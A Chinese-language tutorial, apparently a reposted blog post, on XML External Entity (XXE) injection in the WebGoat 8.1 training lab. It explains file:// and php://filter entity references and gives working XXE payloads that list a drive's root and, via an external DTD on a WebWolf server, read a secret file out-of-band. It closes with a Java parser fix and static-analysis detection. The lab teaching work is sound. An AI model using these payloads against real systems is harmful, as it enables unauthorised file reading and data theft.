XML外部物體注入漏洞,也稱為XXE漏洞( XML External Entities (XXE) ),XML作為一種使用較為廣泛的資料傳輸格式,很多應用程式都包含有處理XML資料的代碼,默認情況下,許多過時的或配置不當的XML處理程式都會對外部物體進行參考,
如果攻擊者可以上傳XML檔案或者在XML檔案中添加惡意內容,通過易受攻擊的代碼、依賴項或集成,就能夠攻擊包含缺陷的XML處理程式,XXE漏洞的出現和開發語言無關,只要是應用程式中對XML資料做了決議,而這些資料又受用戶控制,那么應用程式都可能受到XXE攻擊,
既然XML可以從外部讀取DTD檔案,如果將路徑換成另一個檔案的路徑,那么服務器在決議這個XML的時候就會把那個檔案的內容賦值給SYSTEM前面的根元素中,只要把XML中前面的根元素內容顯示出來,就可以讀取檔案內容,這就造成了一個任意檔案讀取的漏洞,
服務器決議XML有兩種方式:
1. 一種是一次性將整個XML加載進記憶體中,進行決議;
2. 另一種是一部分一部分的“流式”地加載、決議,如果我們遞回地呼叫XML定義,每次呼叫巨量的定義,那么服務器的記憶體就會被消耗完,造成了拒絕服務攻擊,
一個外部物體宣告
語法:<!ENTITY 物體名稱 SYSTEM "URI/URL">或者<!ENTITY 物體名稱 PUBLIC "public_ID" "URI">
例子
DTD:<!ENTITY writer SYSTEM "http://example.com/dtd/writer.dtd">
XML:<author>&writer;</author>
外部物體型別包括:
如果要參考一個外部資源,可以借助各種協議,舉幾個例子:
php://filter/read=convert.base64-encode/resource=conf.php
file:///etc/passwd
http://url/file.ext
XXE漏洞可能會用于提取資料、執行遠程服務器請求、掃描內部系統、執行命令和拒絕服務攻擊等,業務影響主要取決于受影響的參考程式和資料保護需求,
演示案例:XML External Entities (XXE) A4,這是webgoat 8.1 安全漏洞靶場中的一個安全漏洞,
目的:向照片添加評論,在提交表單時嘗試使用評論欄位執行XXE注入,嘗試列出檔案系統的根目錄,

漏洞利用POC:
第1步:打開火狐瀏覽器web開發者工具,在評論輸入框隨便輸入任何內容,點擊【Submit】按鈕,進行抓包
第2步:點開左側檔案列中simple這個POST,右鍵選擇【編輯并重發】,滑動滾動條到最下面,
第3步:復制下面內容粘貼替換圖中紅框的請求主體內容,注意不要有空行,
<?xml version="1.0"?>
<!DOCTYPE wukong [
<!ELEMENT name ANY>
<!ENTITY wukong SYSTEM "file:///C:/">
]>
<comment> <text>&wukong;</text></comment>
第4步:滑動滾動條至最上方,點擊【發送】按鈕
第5步:重繪火狐瀏覽器頁面,可以看到評論區中列出C:/tools/Benchmark-1.2beta目錄下所有內容,

看回應輸出:

使用自動化檢測工具檢測如下圖:
選擇CWE611,進行檢測,可以檢測出XML外部物體參考的不恰當限制漏洞

源代碼分析,檔案位置:
E:\share\WebGoat-8.1.0\webgoat-lessons\xxe\src\main\java\org\owasp\webgoat\xxe\SimpleXXE.java

在(Comments.java)檔案第(90)行呼叫[createXMLStreamReader]方法決議XML資料,決議來自外部的XML資料容易發生外部物體XXE攻擊,

參考下面的設定,修改代碼

修改Comments.java
protected Comment parseXml(String xml) throws JAXBException, XMLStreamException {
var jc = JAXBContext.newInstance(Comment.class);
var xif = XMLInputFactory.newInstance();
xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
xif.setProperty(XMLInputFactory.SUPPORT_DTD, false);
var xsr = xif.createXMLStreamReader(new StringReader(xml));
var unmarshaller = jc.createUnmarshaller();
return (Comment) unmarshaller.unmarshal(xsr);
}
使用自動化檢測工具檢測,不再報出XXE
編譯:mvn clean install -Dmaven.test.skip=true
打包XXE檔案夾:
D:\webgoat\WebGoat-8.1.0\webgoat-lessons\xxe\target\classes\org\owasp\webgoat
選擇CWE611檢測器,進行檢測
WebGoat專案 (A4) XML External Entities (XXE) 第7小節 分析如下
第7小節和第4小節題目類似,不過此題目采用的傳輸資料包是json格式,
1、請求頭中content-type改成application/xml
2、嘗試執行與第一次賦值中相同的XML注入

使用自動化檢測工具,進行檢測,給出如下截圖:

使用編譯后的工程,啟動:mvn –pl webgoat-server spring-boot:run
訪問:http://127.0.0.1:8080/WebGoat ,再次輸入
<?xml version="1.0"?>
<!DOCTYPE wukong [
<!ELEMENT name ANY>
<!ENTITY wukong SYSTEM "file:///C:/">
]>
<comment> <text>&wukong;</text></comment>
執行,輸出沒有再列出硬碟內容

另一個案例,(A4) XML External Entities (XXE) 第11小節
題目要求:webgoat有一個XXE漏洞,同時webgoat服務器上有個密碼檔案,通過XXE把這個密碼檔案讀取,并且發送到我們自己的惡意站點webwolf,webwolf接受到這個請求就順理成章獲取了密碼檔案里面的密碼,
啟動WebWolf:java -jar webwolf-8.1.0.jar [--server.port=9090] [--server.address=localhost]
頁面訪問WebWolf:http://127.0.0.1:9090/WebWolf
第一步:在WebWolf上傳外部XML檔案m0re.dtd,m0re.dtd檔案內容:
|
第二步:在WebGoat頁面的評論框中輸入任何內容,點擊Submit然后抓包修改,請求利用這個外部XML,粘貼下面文本框中的內容替換請求主體,然后點擊發送,
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "file:///C:/Users/IBM/.webgoat-8.1.0/XXE/secret.txt">
<!ENTITY % zxcv SYSTEM "http://127.0.0.1:9090/files/manok1/m0re.dtd">
%zxcv;
%payload;
]>
<comment> <text>&m0re;</text></comment>
第三步:blind XXE沒有回顯,所以需要在WebWolf中查找,清晰地看到WebWolf多了請求,

第四步:顯示的內容需要進行URL解碼后提交評論,看到頁面出現Congratulations的提示,表示成功完成當前任務,http://tool.chinaz.com/tools/urlencode.aspx

通過Fortify,查看檢測結果,(檢測WebGoat整個專案)
Comments.java:90 中配置的XML決議器無法預防和限制外部物體進行決議,這會使決議器暴露在XML External Entities攻擊之下,

檔案位置:
E:\share\WebGoat-8.1.0\webgoat-lessons\xxe\src\main\java\org\owasp\webgoat\xxe\SimpleXXE.java

在(Comments.java)檔案第(90)行呼叫[createXMLStreamReader]方法決議XML資料,決議來自外部的XML資料容易發生外部物體XXE攻擊,

(結束)
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/387060.html
標籤:其他
